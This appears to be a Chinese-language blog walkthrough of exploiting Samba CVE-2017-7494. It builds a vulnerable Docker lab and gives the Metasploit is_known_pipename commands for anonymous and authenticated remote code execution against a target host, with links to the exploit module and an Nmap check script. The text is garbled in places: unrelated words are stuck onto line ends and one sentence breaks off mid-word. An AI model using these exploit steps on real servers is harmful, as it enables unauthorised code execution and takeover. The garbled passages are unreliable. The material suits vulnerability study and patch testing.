2017年5月24日Samba發佈了4.6.4版本,中間修復了一個嚴重的遠程代碼執行漏洞,漏洞編號CVE-2017-7494,漏洞影響了Samba 3.5.0 以後到4.6.4/4.5.10/4.4.14中間的全部版本。linux
1. 服務器打開了文件/打印機共享端口445,讓其可以在公網上訪問git
2. 共享文件擁有寫入權限github
3. 惡意攻擊者需猜解Samba服務端共享目錄的物理路徑sql
知足以上條件時,因爲Samba可以爲選定的目錄建立網絡共享,當惡意的客戶端鏈接上一個可寫的共享目錄時,經過上傳惡意的連接庫文件,使服務端程序加載並執行它,從而實現遠程代碼執行。根據服務器的狀況,攻擊者還有可能以root身份執docker
在docker下搭建測試環境ubuntu
1.拉取鏡像到本地服務器
root@backlion-virtual-machine:/home/backlion# docker pull medicean/vulapps:s_samba_1
2.啓動環境,並將虛擬的445端口映射到物理機的445端口上:網絡
root@backlion-virtual-machine:/home/backlion# docker run -d -p 445:445 -p 139:139 -p 138:138 -p 137:137 medicean/vulapps:s_samba_1
3.在msf下的利用(kali主機IP: 10.0.0.140,靶機下的ubuntu的物理住機IP:10.0.0.158)app
利用的poc:post
https://github.com/hdm/metasploit-framework/blob/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb
將is_known_pipename.rb
拷貝到/usr/share/metasploit-framework/modules/exploits/linux/samba/
匿名下的samba遠程執行之MSF:
root@backlion:~# service postgresql start root@backlion:~# msfconsole msf > search is_known_pipename msf > use exploit/linux/samba/is_known_pipename msf exploit(is_known_pipename) > show options msf exploit(is_known_pipename) > set rhost 10.0.0.158 msf exploit(is_known_pipename) > set rport 445 msf exploit(is_known_pipename) > exploit
認證的samb下MSF:
msf exploit(is_known_pipename) > set SMBUSER test msf exploit(is_known_pipename) > set SMBPASS 123456 msf exploit(is_known_pipename) > set rhost 10.0.0.158 msf exploit(is_known_pipename) > set rport 445 msf exploit(is_known_pipename) > exploit
漏洞檢查的NAMP腳本:
http://ys-k.ys168.com/576161633/UIwHtkm3L3K3I865MJ6/samb.nse
參考文獻:
https://mp.weixin.qq.com/s/qWFe3yBg6NUU_kyVRiAzeA
https://mp.weixin.qq.com/s/PPcIhfkrJGoOEf7-Skvr-A
https://mobile.qzone.qq.com/details?sharetag=2866CD731987ABFF941F7FA2F69E8975&bp7=&bp2=&bp1=&_wv=1&res_uin=49870569&appid=2&cellid=1496512730&no_topbar=1&subid=&g_ut=3&from=mp